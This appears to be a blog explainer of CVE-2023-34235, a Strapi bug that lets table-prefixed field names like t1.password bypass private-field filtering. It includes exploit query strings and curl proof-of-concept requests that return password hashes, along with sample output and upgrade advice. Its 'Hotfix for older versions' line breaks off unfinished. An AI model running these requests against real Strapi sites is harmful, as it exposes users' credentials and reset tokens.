CVE-2023-34235 - Strapi Filtering Bypass Exposes Sensitive Data Like Admin Passwords—Deep Dive With Code & Exploitation Details

Strapi is a popular open-source headless CMS built on Node.js—trusted by thousands to manage content flexibly. However, in versions before 4.10.8, Strapi users were at risk of exposing sensitive information, including admin passwords and reset tokens, due to a subtle, yet dangerous, filtering bypass with table prefixes. This post takes you through what went wrong with CVE-2023-34235, how attackers could exploit it, and how to stay safe.

TL;DR

A vulnerability in Strapi allowed malicious users to change table prefixes in API queries. This exposed private fields like password because Strapi’s field prohibition logic didn’t apply to fields accessed through table prefixes like t1.password. Fixed in version 4.10.8.

Background

Strapi uses Knex.js to manage its database queries. Normally, when fetching data through the API, Strapi filters private fields (like password). For instance, if a request tries to fetch password, Strapi’s code will block it.

But what happens if you change how the field is referenced? That’s where the vulnerability lies.

With Strapi and Knex.js, users can supply a table prefix in their queries, such as t1.

- When you query fields as t1.password instead of just password, Strapi’s filtering checks don’t kick in—they only look for the un-prefixed field names.

Suppose you have the following Strapi User entry

| id | username | email | password |
|----|----------|----------------|--------------|
| 1 | admin | admin@test.com | $2b$10$... |

The API should never return the password field.

Typical Safe Strapi Query

GET /api/users?fields[]=username&fields[1]=password

Response (with protection)

[
  {
    "id": 1,
    "username": "admin"
    // password is not here; it's correctly filtered
  }
]

Exploit Query With Table Prefix

By changing the field to include a prefix, like t1.password, filtering is bypassed.

GET /api/users?fields[]=t1.password

Or, with Knex-style references

GET /api/users?populate=*&filters[t1.password][$ne]=null

Response (without protection)

[
  {
    "id": 1,
    "t1.password": "$2b$10$1eA2..."
  }
]

Yikes! You’ve just leaked hashed passwords, which are supposed to be private.

Here’s a simplified pseudo-code representation

// Strapi's field filtering function
const privateFields = ['password', 'resetToken'];
const fieldsRequested = ['t1.password']; // incoming from API

fieldsRequested.forEach(field => {
  if (privateFields.includes(field)) {
    // Filter out
  } else {
    // Allow field
  }
});

When a request asks for password, it’s filtered. But t1.password is NOT in privateFields.

Attackers can retrieve any sensitive field by specifying a prefix the filter doesn’t expect.

- All database fields related to the user object (including reset-token, admin passwords, etc.) become exposed.

Proof-of-Concept Exploit

> Warning: Only test this on systems you have explicit permission to test.

Assuming you’re running a vulnerable Strapi instance with an API endpoint for users

# Exploit using table prefix in fields[]
curl -s "http://localhost:1337/api/users?fields[]=t1.password";

Response

[
  {
    "id": 2,
    "t1.password": "$2b$10$exploitableHashHere"
  }
]

Another example (with filter manipulation)

curl -s "http://localhost:1337/api/users?filters[t1.password][$ne]=null";

Result: All users get returned with exposed password hashes or other “private” info.

Preventing This Attack

Upgrade to Strapi 4.10.8 or later—the filtering logic was patched in this release to normalize field names and strip prefixes before filtering.

npm install strapi@latest
# or
yarn upgrade strapi

Hotfix for older versions: If you can’t upgrade immediately,

References

- CVE-2023-34235 NVD Record
- GitHub Security Advisory
- Strapi Releases
- Knex.js Docs

Conclusion

CVE-2023-34235 affects Strapi versions prior to 4.10.8. By manipulating table prefixes in API queries, attackers can access private fields never meant to leave the database. This makes admin passwords, reset tokens, and other sensitive information vulnerable.

Mitigation is simple: update your Strapi instance. Review your API gateway for over-permissive field selectors, and be wary of clever input manipulation by users.

Stay safe and keep your content secure!

*Feel free to share this post to help others keep their Strapi deployments safe!*

Timeline

Published on: 07/25/2023 18:15:00 UTC
Last modified on: 08/02/2023 19:02:00 UTC